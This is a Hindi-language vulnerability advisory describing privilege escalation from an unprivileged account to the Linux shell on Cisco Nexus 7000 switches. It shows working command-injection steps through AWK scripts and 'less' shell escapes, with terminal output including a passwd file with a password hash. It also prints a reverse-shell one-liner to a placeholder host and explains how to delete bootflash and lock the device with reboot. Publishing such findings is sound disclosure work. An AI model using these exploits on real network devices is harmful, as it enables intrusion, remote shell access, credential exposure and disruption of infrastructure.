
प्रकाशित सुरक्षा कमजोरियाँ, शोध, और संबंधित जानकारी।
स्थानीय पहुंच आवश्यक है। हालाँकि, विशेषाधिकार-रहित खाते अंतर्निहित Linux ऑपरेटिंग सिस्टम तक पहुंच प्राप्त कर सकते हैं, जिससे प्रभावी रूप से डिवाइस तक पूर्ण पहुंच प्राप्त हो जाती है। यह उन वातावरणों में संभावित रूप से समस्याएं पैदा कर सकता है जहां NOC और अन्य स्टाफ को पहले संपर्क बिंदु आदि के लिए निम्न-स्तरीय पहुंच की अनुमति दी जाती है।
यह समस्या Nexus 7000 प्लेटफॉर्म पर पाई गई थी। ऐसा माना जाता है कि यह निम्नलिखित प्लेटफार्मों को भी प्रभावित करती है:
section कमांड एक AWK स्क्रिप्ट प्रतीत होती है जिसमें अनुरोधित स्ट्रिंग पास की जाती है। हालाँकि, इनपुट सही ढंग से सैनिटाइज़ नहीं किया गया प्रतीत होता है। परिणामस्वरूप, AWK का उपयोग Linux सबसिस्टम पर मनमाने कमांड निष्पादित करने के लिए किया जा सकता है।
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
इसका उपयोग bootflash पर सभी फाइलों को हटाने और सिस्टम को 'reboot' कमांड जारी करने के लिए भी किया जा सकता है। हालाँकि, Linux सबसिस्टम से रीबूट करने से डिवाइस कंसोल पर संदेश उगलती है और लॉक हो जाती है; वास्तव में डिवाइस को रीलोड करने के बजाय।
माना जाता है कि यह सॉफ्टवेयर के निम्नलिखित संस्करणों को प्रभावित करता है:
उदाहरण के तौर पर:
switch# sh clock | less
एक बार less प्रस्तुत होने पर हम कोलन दबाकर और फिर "e" दबाकर तथा फ़ाइल का पथ निर्दिष्ट करके फाइलें खोलते हैं।
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
हालाँकि, यह फिर से केवल रीड-ओनली पहुंच है। लेकिन, यदि हम "|" (पाइप) और फिर "$" कुंजी मैक्रो का उपयोग करते हैं, तो हम कमांड निष्पादित कर सकते हैं।
!ls -lah > /bootflash/20110715
जैसा कि नीचे दिखाया गया है, फ़ाइल बूट-फ्लैश पर बनाई गई है।
switch# dir
97 Jul 15 12:01:44 2011 20110715
इस विधि का उपयोग करके, मैं निम्नलिखित का उपयोग करके NX-OS Linux सबसिस्टम में एक रिमोट शेल स्थापित करने में सक्षम रहा हूँ:
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
यहाँ तक कि reboot कमांड को भी मान्य इनपुट के रूप में स्वीकार किया जाता है। हालाँकि, डिवाइस को रीबूट करने के बजाय, यह कंसोल पर त्रुटियों को उगलते हुए सिस्टम को लॉक कर देता है।
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):